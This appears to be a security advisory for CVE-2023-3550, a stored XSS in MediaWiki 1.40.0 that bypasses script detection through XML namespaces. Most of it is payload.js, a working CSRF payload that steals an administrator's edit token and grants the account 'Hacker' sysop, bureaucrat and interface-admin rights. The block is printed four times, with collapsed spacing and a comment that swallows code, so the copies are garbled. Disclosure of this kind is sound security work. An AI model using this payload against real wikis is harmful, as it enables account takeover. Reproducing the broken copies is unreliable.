Mediawiki v1.40.0 does not validate namespaces used in XML files. Therefore, if the instance administrator allows XML file uploads, a remote attacker with a low-privileged user account can use this exploit to become an administrator by sending a malicious link to the instance administrator.
Vulnerability
In Mediawiki v1.40.0, an authenticated remote attacker can escalate his privileges through a Stored XSS. Thanks to this, we can perform a CSRF on an administrative account to escalate the privileges of an arbitrary account.
The Stored XSS is caused by MediaWiki v1.40.0 not validating the namespaces used in XML files. Thanks to this we can bypass the script detection security controls.
Exploit failed
Here our exploit attempt fails, thanks to the script being detected correctly:
Exploit Success
Here the exploit worked, since we bypassed the script detection controls by using a namespace:
Exploit
To exploit the vulnerability we built an XML file that uses a namespace to bypass script detection protection. This script loads an external script which seeks to escalate the privileges of an account when the administrator accesses the malicious XML link through a CSRF.
exploit.xml
payload.js
vartoken = "";fetch('http://localhost:8080/mediawiki-1.40.0/index.php?title=Special%3AUserRights&user=Hacker',{credentials:'include'})
.then(response=>response.text())
.then(html=>{constparser = newDOMParser();constdoc = parser.parseFromString(html,'text/html');token = doc.getElementsByName('wpEditToken')[0].value;// Llamar a la segunda solicitud POST después de obtener el tokenreturnfetch('http://localhost:8080/mediawiki-1.40.0/index.php/Special:UserRights',{method:'POST',credentials:'include',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:'user=Hacker&wpEditToken=' + encodeURIComponent(token) + '&conflictcheck-originalgroups=&wpExpiry-bot=infinite&wpExpiry-bot-other=&wpGroup-sysop=1&wpExpiry-sysop=infinite&wpExpiry-sysop-other=&wpGroup-interface-admin=1&wpExpiry-interface-admin=infinite&wpExpiry-interface-admin-other=&wpGroup-bureaucrat=1&wpExpiry-bureaucrat=infinite&wpExpiry-bureaucrat-other=&wpExpiry-suppress=infinite&wpExpiry-suppress-other=&user-reason=&saveusergroups=Save+user+groups'});})
.then(response=>{console.log('Respuesta:',response);})
.catch(error=>{console.error('Error:',error);});
vartoken = "";fetch('http://localhost:8080/mediawiki-1.40.0/index.php?title=Special%3AUserRights&user=Hacker',{credentials:'include'})
.then(response=>response.text())
.then(html=>{constparser = newDOMParser();constdoc = parser.parseFromString(html,'text/html');token = doc.getElementsByName('wpEditToken')[0].value;// Llamar a la segunda solicitud POST después de obtener el tokenreturnfetch('http://localhost:8080/mediawiki-1.40.0/index.php/Special:UserRights',{method:'POST',credentials:'include',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:'user=Hacker&wpEditToken=' + encodeURIComponent(token) + '&conflictcheck-originalgroups=&wpExpiry-bot=infinite&wpExpiry-bot-other=&wpGroup-sysop=1&wpExpiry-sysop=infinite&wpExpiry-sysop-other=&wpGroup-interface-admin=1&wpExpiry-interface-admin=infinite&wpExpiry-interface-admin-other=&wpGroup-bureaucrat=1&wpExpiry-bureaucrat=infinite&wpExpiry-bureaucrat-other=&wpExpiry-suppress=infinite&wpExpiry-suppress-other=&user-reason=&saveusergroups=Save+user+groups'});})
.then(response=>{console.log('Respuesta:',response);})
.catch(error=>{console.error('Error:',error);});
vartoken = "";fetch('http://localhost:8080/mediawiki-1.40.0/index.php?title=Special%3AUserRights&user=Hacker',{credentials:'include'})
.then(response=>response.text())
.then(html=>{constparser = newDOMParser();constdoc = parser.parseFromString(html,'text/html');token = doc.getElementsByName('wpEditToken')[0].value;// Llamar a la segunda solicitud POST después de obtener el tokenreturnfetch('http://localhost:8080/mediawiki-1.40.0/index.php/Special:UserRights',{method:'POST',credentials:'include',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:'user=Hacker&wpEditToken=' + encodeURIComponent(token) + '&conflictcheck-originalgroups=&wpExpiry-bot=infinite&wpExpiry-bot-other=&wpGroup-sysop=1&wpExpiry-sysop=infinite&wpExpiry-sysop-other=&wpGroup-interface-admin=1&wpExpiry-interface-admin=infinite&wpExpiry-interface-admin-other=&wpGroup-bureaucrat=1&wpExpiry-bureaucrat=infinite&wpExpiry-bureaucrat-other=&wpExpiry-suppress=infinite&wpExpiry-suppress-other=&user-reason=&saveusergroups=Save+user+groups'});})
.then(response=>{console.log('Respuesta:',response);})
.catch(error=>{console.error('Error:',error);});
vartoken = "";fetch('http://localhost:8080/mediawiki-1.40.0/index.php?title=Special%3AUserRights&user=Hacker',{credentials:'include'})
.then(response=>response.text())
.then(html=>{constparser = newDOMParser();constdoc = parser.parseFromString(html,'text/html');token = doc.getElementsByName('wpEditToken')[0].value;// Llamar a la segunda solicitud POST después de obtener el tokenreturnfetch('http://localhost:8080/mediawiki-1.40.0/index.php/Special:UserRights',{method:'POST',credentials:'include',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:'user=Hacker&wpEditToken=' + encodeURIComponent(token) + '&conflictcheck-originalgroups=&wpExpiry-bot=infinite&wpExpiry-bot-other=&wpGroup-sysop=1&wpExpiry-sysop=infinite&wpExpiry-sysop-other=&wpGroup-interface-admin=1&wpExpiry-interface-admin=infinite&wpExpiry-interface-admin-other=&wpGroup-bureaucrat=1&wpExpiry-bureaucrat=infinite&wpExpiry-bureaucrat-other=&wpExpiry-suppress=infinite&wpExpiry-suppress-other=&user-reason=&saveusergroups=Save+user+groups'});})
.then(response=>{console.log('Respuesta:',response);})
.catch(error=>{console.error('Error:',error);});
Evidence of exploitation
Here is a step-by-step description of how to exploit this vulnerability. Basically what will be shown below is how a user with low privileges can increase his privileges by sending a malicious link to the instance administrator.
Our security policy
We have reserved the CVE-2023-3550 to refer to these issues from now on.